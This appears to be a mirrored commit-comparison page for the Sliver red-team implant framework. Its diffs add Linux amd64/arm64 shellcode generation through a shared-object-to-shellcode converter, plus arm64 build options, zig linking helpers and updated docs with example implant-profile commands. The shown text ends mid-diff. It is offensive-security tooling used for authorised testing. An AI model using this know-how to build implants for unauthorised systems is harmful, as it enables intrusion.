mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
6
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
87b1efaa5f | ||
|
|
009e505a54 | ||
|
|
c0dd2d5b51 | ||
|
|
6dab9dc6c5 | ||
|
|
854249fa25 | ||
|
|
7db573a03e |
No files matched your search
@@ -343,13 +343,14 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows and darwin/arm64)")
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||
|
||||
// Shellcode generation options:
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet
|
||||
// - Linux: malasada
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows and macOS shellcode)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
|
||||
|
||||
@@ -80,6 +80,7 @@ var (
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
@@ -394,12 +395,25 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
return "", nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE {
|
||||
if targetOS != "windows" && targetOS != "darwin" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows and macOS\n")
|
||||
return "", nil
|
||||
}
|
||||
if targetOS == "darwin" && targetArch != "arm64" {
|
||||
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
// Server-side implementation supports amd64 and 386 only.
|
||||
if targetArch != "amd64" && targetArch != "386" {
|
||||
con.PrintErrorf("Windows shellcode format is only supported on windows/amd64 and windows/386\n")
|
||||
return "", nil
|
||||
}
|
||||
case "darwin":
|
||||
if targetArch != "arm64" {
|
||||
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
||||
return "", nil
|
||||
}
|
||||
case "linux":
|
||||
if targetArch != "amd64" && targetArch != "arm64" {
|
||||
con.PrintErrorf("Linux shellcode format is only supported on linux/amd64 and linux/arm64\n")
|
||||
return "", nil
|
||||
}
|
||||
default:
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows, macOS, and Linux\n")
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
@@ -585,14 +599,22 @@ func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clien
|
||||
cmd.Flags().Changed("donut-unicode") ||
|
||||
cmd.Flags().Changed("donut-oep")
|
||||
|
||||
// macOS shellcode currently only supports compression.
|
||||
// macOS and Linux shellcode currently only support compression.
|
||||
if targetOS != "windows" {
|
||||
if targetOS == "darwin" {
|
||||
if windowsOnlyChanged {
|
||||
if targetOS != "darwin" && targetOS != "linux" {
|
||||
// parseCompileFlags normally blocks this, but keep a safe fallback.
|
||||
if anyChanged {
|
||||
con.PrintWarnf("Shellcode options are only supported on Windows, macOS, and Linux shellcode, ignoring.\n")
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if windowsOnlyChanged {
|
||||
if targetOS == "darwin" {
|
||||
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
|
||||
} else {
|
||||
con.PrintWarnf("Windows-only shellcode options are ignored on Linux shellcode.\n")
|
||||
}
|
||||
} else if anyChanged {
|
||||
con.PrintWarnf("Shellcode options are only supported on Windows and macOS shellcode, ignoring.\n")
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
|
||||
@@ -190,7 +190,7 @@ You can also stack the C2 configuration with multiple protocols:
|
||||
|
||||
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
||||
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
|
||||
and Linux ELF. The output format is controlled with the --os and --format flags.
|
||||
Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
|
||||
|
||||
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
||||
generate --mtls foo.example.com
|
||||
@@ -209,7 +209,7 @@ To output a Linux ELF executable file, the following command would be used:
|
||||
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
|
||||
When generating shellcode (--format shellcode), you can tune the shellcode generator:
|
||||
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
|
||||
--shellcode-compress # Enable aPLib compression (windows and macOS)
|
||||
--shellcode-compress # Enable aPLib compression (windows, macOS, and Linux)
|
||||
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
@@ -218,6 +218,8 @@ When generating shellcode (--format shellcode), you can tune the shellcode gener
|
||||
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
|
||||
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
|
||||
|
||||
Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
||||
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
|
||||
|
||||
@@ -60,6 +60,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -83,6 +84,8 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
|
||||
@@ -65,6 +65,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -88,6 +89,8 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
|
||||
@@ -44,6 +44,7 @@ func commonArchOptions(goos string) []huh.Option[string] {
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -66,6 +67,8 @@ func commonFormatOptions(goos string) []huh.Option[string] {
|
||||
)
|
||||
} else if goos == "darwin" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
} else if goos == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}
|
||||
|
||||
+18
-17
@@ -1,5 +1,23 @@
|
||||
package packages
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -10,23 +28,6 @@ import (
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
const (
|
||||
KeyValueSchemaName = "key-value"
|
||||
GroupedKeyValueSchemaName = "grouped-key-value"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
|
||||
|
||||
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
|
||||
|
||||
@@ -37,7 +37,7 @@ Sliver automatically looks in the default paths for these cross-compilers; once
|
||||
|
||||
## From MacOS to Linux/Windows
|
||||
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
|
||||
|
||||
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
|
||||
@@ -47,6 +47,7 @@ sliver > builders
|
||||
=============================== ========== =========== ============== ==========================
|
||||
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
|
||||
EXECUTABLE:linux/amd64
|
||||
EXECUTABLE:linux/arm64
|
||||
EXECUTABLE:windows/386
|
||||
EXECUTABLE:windows/amd64
|
||||
EXECUTABLE:darwin/amd64
|
||||
@@ -56,10 +57,14 @@ sliver > builders
|
||||
SHARED_LIB:darwin/amd64
|
||||
SHARED_LIB:darwin/arm64
|
||||
SHARED_LIB:linux/amd64
|
||||
SHARED_LIB:linux/arm64
|
||||
SERVICE:windows/386
|
||||
SERVICE:windows/amd64
|
||||
SHELLCODE:windows/386
|
||||
SHELLCODE:windows/amd64
|
||||
SHELLCODE:darwin/arm64
|
||||
SHELLCODE:linux/amd64
|
||||
SHELLCODE:linux/arm64
|
||||
```
|
||||
|
||||
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
|
||||
**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
|
||||
|
||||
## Overview
|
||||
|
||||
@@ -33,16 +33,22 @@ Name Platform Command & Control Debug Format
|
||||
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
||||
```
|
||||
|
||||
You can tune shellcode options for shellcode profiles (Windows: Donut):
|
||||
Shellcode generation varies by platform:
|
||||
|
||||
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt
|
||||
- `--shellcode-compress`: enable/disable aPLib compression (boolean)
|
||||
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block
|
||||
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue
|
||||
- `--shellcode-headers`: 1=overwrite, 2=keep
|
||||
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
|
||||
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
|
||||
- `--shellcode-oep`: override original entry point (uint32, 0=default)
|
||||
- Windows shellcode uses Donut and supports all shellcode tuning flags below.
|
||||
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.
|
||||
|
||||
Shellcode options:
|
||||
|
||||
- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
|
||||
- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
|
||||
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
|
||||
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
|
||||
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
|
||||
- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
|
||||
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
|
||||
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
|
||||
- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)
|
||||
|
||||
Example:
|
||||
|
||||
@@ -50,6 +56,12 @@ Example:
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
|
||||
```
|
||||
|
||||
Linux example (compression only):
|
||||
|
||||
```
|
||||
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
|
||||
```
|
||||
|
||||
We can now create a staging listener and link it to the profile:
|
||||
|
||||
```
|
||||
|
||||
@@ -48,6 +48,7 @@ require (
|
||||
github.com/rsteube/carapace v0.50.2
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/sliverarmory/beignet v0.0.2
|
||||
github.com/sliverarmory/malasada v0.0.2
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
|
||||
@@ -665,6 +665,8 @@ github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g
|
||||
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
||||
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
|
||||
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
|
||||
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
|
||||
@@ -205,7 +205,7 @@ type ImplantConfig struct {
|
||||
IsShellcode bool
|
||||
|
||||
RunAtLoad bool
|
||||
// Shellcode options (Windows: Donut; macOS: beignet uses Compress only)
|
||||
// Shellcode options (Windows: Donut; macOS/Linux: Compress only)
|
||||
DonutEntropy uint32
|
||||
DonutCompress uint32
|
||||
DonutExitOpt uint32
|
||||
|
||||
+319
-18
@@ -21,8 +21,10 @@ package generate
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"debug/elf"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path"
|
||||
@@ -45,6 +47,7 @@ import (
|
||||
"github.com/bishopfox/sliver/util"
|
||||
utilEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/sliverarmory/beignet"
|
||||
"github.com/sliverarmory/malasada"
|
||||
"golang.org/x/mod/module"
|
||||
"golang.org/x/text/cases"
|
||||
"golang.org/x/text/language"
|
||||
@@ -116,6 +119,185 @@ const (
|
||||
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
||||
)
|
||||
|
||||
func isZigCC(cc string) bool {
|
||||
cc = strings.TrimSpace(cc)
|
||||
if cc == "" {
|
||||
return false
|
||||
}
|
||||
parts := strings.Fields(cc)
|
||||
if len(parts) == 0 {
|
||||
return false
|
||||
}
|
||||
// We typically set CC as: "<zigpath> cc -target <triple>"
|
||||
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && parts[1] == "cc" {
|
||||
return true
|
||||
}
|
||||
// Fallback: user-provided CC might not match our canonical format.
|
||||
return strings.Contains(cc, "zig cc")
|
||||
}
|
||||
|
||||
func isZigCompilerCmd(cmd string) bool {
|
||||
cmd = strings.TrimSpace(cmd)
|
||||
if cmd == "" {
|
||||
return false
|
||||
}
|
||||
parts := strings.Fields(cmd)
|
||||
if len(parts) == 0 {
|
||||
return false
|
||||
}
|
||||
// We typically set CC/CXX as: "<zigpath> cc|c++ -target <triple>"
|
||||
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && (parts[1] == "cc" || parts[1] == "c++") {
|
||||
return true
|
||||
}
|
||||
// Fallback: user-provided compilers might not match our canonical format.
|
||||
return strings.Contains(cmd, "zig cc") || strings.Contains(cmd, "zig c++")
|
||||
}
|
||||
|
||||
func ensureZigPrefixMap(cmd string) string {
|
||||
if !isZigCompilerCmd(cmd) {
|
||||
return cmd
|
||||
}
|
||||
zigDir := assets.GetZigDir()
|
||||
if zigDir == "" {
|
||||
return cmd
|
||||
}
|
||||
mapPrefix := fmt.Sprintf("-fdebug-prefix-map=%s=", zigDir)
|
||||
if strings.Contains(cmd, mapPrefix) {
|
||||
return cmd
|
||||
}
|
||||
return strings.TrimSpace(cmd + fmt.Sprintf(" -fdebug-prefix-map=%s=/zig", zigDir))
|
||||
}
|
||||
|
||||
func appendToLDFlags(ldflags []string, extra string) []string {
|
||||
extra = strings.TrimSpace(extra)
|
||||
if extra == "" {
|
||||
return ldflags
|
||||
}
|
||||
if len(ldflags) == 0 {
|
||||
return []string{extra}
|
||||
}
|
||||
if len(ldflags) == 1 {
|
||||
if strings.TrimSpace(ldflags[0]) == "" {
|
||||
ldflags[0] = extra
|
||||
return ldflags
|
||||
}
|
||||
ldflags[0] = strings.TrimSpace(ldflags[0] + " " + extra)
|
||||
return ldflags
|
||||
}
|
||||
// go build only accepts a single argument for -ldflags, but callers may have
|
||||
// mistakenly provided multiple. Coalesce into one string.
|
||||
joined := strings.TrimSpace(strings.Join(ldflags, " "))
|
||||
if joined == "" {
|
||||
joined = extra
|
||||
} else {
|
||||
joined = joined + " " + extra
|
||||
}
|
||||
return []string{joined}
|
||||
}
|
||||
|
||||
func applyZigStaticLinking(goConfig *gogo.GoConfig, buildmode string, ldflags []string) (updated []string, enabled bool) {
|
||||
if goConfig == nil {
|
||||
return ldflags, false
|
||||
}
|
||||
if goConfig.GOOS != LINUX {
|
||||
return ldflags, false
|
||||
}
|
||||
if !isZigCC(goConfig.CC) {
|
||||
return ldflags, false
|
||||
}
|
||||
// zig/clang treats `-static` + `-shared` as "build a static archive", which
|
||||
// results in an ar archive misnamed as ".so". Never force `-static` for
|
||||
// c-shared builds.
|
||||
if buildmode == "c-shared" {
|
||||
return ldflags, false
|
||||
}
|
||||
// Force a fully static link for Linux executables when using zig. This keeps
|
||||
// cross-compiled artifacts self-contained.
|
||||
ldflags = appendToLDFlags(ldflags, "-linkmode=external -extldflags=-static")
|
||||
return ldflags, true
|
||||
}
|
||||
|
||||
func sanitizeZigForBuild(goConfig *gogo.GoConfig, buildmode string) {
|
||||
if goConfig == nil {
|
||||
return
|
||||
}
|
||||
// Always apply the prefix-map flags to any zig toolchain we invoke so we
|
||||
// don't leak the Sliver-managed zig root dir (often under ~/.sliver/zig) into
|
||||
// build artifacts.
|
||||
goConfig.CC = ensureZigPrefixMap(goConfig.CC)
|
||||
goConfig.CXX = ensureZigPrefixMap(goConfig.CXX)
|
||||
|
||||
if goConfig.GOOS != LINUX || buildmode != "c-shared" || !isZigCC(goConfig.CC) {
|
||||
return
|
||||
}
|
||||
|
||||
// Ensure we don't accidentally carry a user-provided `-static` into a shared
|
||||
// object link (zig would emit an ar archive).
|
||||
stripStatic := func(cmd string) string {
|
||||
parts := strings.Fields(cmd)
|
||||
if len(parts) == 0 {
|
||||
return cmd
|
||||
}
|
||||
out := make([]string, 0, len(parts))
|
||||
for _, p := range parts {
|
||||
if p == "-static" {
|
||||
continue
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return strings.Join(out, " ")
|
||||
}
|
||||
goConfig.CC = stripStatic(goConfig.CC)
|
||||
goConfig.CXX = stripStatic(goConfig.CXX)
|
||||
|
||||
// zig's default linux toolchain target in Sliver is musl, which is great for
|
||||
// static executables. For shared objects, musl shared libraries are rarely
|
||||
// present on the target. Prefer a glibc target for shared objects.
|
||||
goConfig.CC = strings.ReplaceAll(goConfig.CC, "-linux-musl", "-linux-gnu")
|
||||
goConfig.CXX = strings.ReplaceAll(goConfig.CXX, "-linux-musl", "-linux-gnu")
|
||||
}
|
||||
|
||||
func validateELFSharedObject(path string, requireFullyStatic bool) error {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
// Sniff common mis-builds first for clearer errors.
|
||||
var hdr [8]byte
|
||||
n, err := io.ReadFull(f, hdr[:])
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
return err
|
||||
}
|
||||
if 8 <= n && bytes.HasPrefix(hdr[:], []byte("!<arch>\n")) {
|
||||
return fmt.Errorf("output %q is an ar archive (expected an ELF shared object). This usually means the build used -buildmode=c-archive or zig was invoked with -static while linking a shared object", path)
|
||||
}
|
||||
if n < 4 || !bytes.Equal(hdr[:4], []byte{0x7f, 'E', 'L', 'F'}) {
|
||||
return fmt.Errorf("output %q does not look like an ELF file", path)
|
||||
}
|
||||
|
||||
ef, err := elf.NewFile(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ef.Type != elf.ET_DYN {
|
||||
return fmt.Errorf("output %q is not an ELF shared object (ET_DYN), got %v", path, ef.Type)
|
||||
}
|
||||
|
||||
if requireFullyStatic {
|
||||
needed, err := ef.DynString(elf.DT_NEEDED)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to read DT_NEEDED from %q: %w", path, err)
|
||||
}
|
||||
if len(needed) != 0 {
|
||||
return fmt.Errorf("output %q is not fully static (DT_NEEDED=%v); this usually means zig did not link statically", path, needed)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSliversDir - Get the binary directory
|
||||
func GetSliversDir() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
@@ -134,20 +316,111 @@ func GetSliversDir() string {
|
||||
// Sliver Generation Code
|
||||
// -----------------------
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet)
|
||||
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet, Linux: malasada)
|
||||
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
switch config.GOOS {
|
||||
case WINDOWS:
|
||||
return windowsShellcode(name, build, config, pbC2Implant)
|
||||
case DARWIN:
|
||||
return darwinShellcode(name, build, config, pbC2Implant)
|
||||
case LINUX:
|
||||
return linuxShellcode(name, build, config, pbC2Implant)
|
||||
}
|
||||
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
|
||||
}
|
||||
|
||||
func linuxShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "amd64" && config.GOARCH != "arm64" {
|
||||
return "", fmt.Errorf("linux shellcode format not supported on %s architecture", config.GOARCH)
|
||||
}
|
||||
if len(config.Exports) == 0 {
|
||||
return "", fmt.Errorf("linux shellcode requires at least one export symbol")
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
}
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
CXX: cxx,
|
||||
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
sanitizeZigForBuild(goConfig, "c-shared")
|
||||
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||
|
||||
config.IsSharedLib = true
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-*.so")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFile.Name())
|
||||
soDest := tmpFile.Name()
|
||||
|
||||
tags := []string{}
|
||||
if config.NetGoEnabled {
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||
gcFlags := ""
|
||||
asmFlags := ""
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, soDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if goConfig.GOOS == LINUX {
|
||||
if err := validateELFSharedObject(soDest, wantStaticSO); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
compress := false
|
||||
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
|
||||
compress = true
|
||||
}
|
||||
shellcodeBin, err := malasada.ConvertSharedObject(soDest, config.Exports[0], compress)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
shellcodeDest += ".bin"
|
||||
|
||||
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return shellcodeDest, nil
|
||||
}
|
||||
|
||||
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "arm64" {
|
||||
return "", fmt.Errorf("darwin shellcode format is only supported for arm64 architecture")
|
||||
return "", fmt.Errorf("darwin shellcode format not supported on %s architecture", config.GOARCH)
|
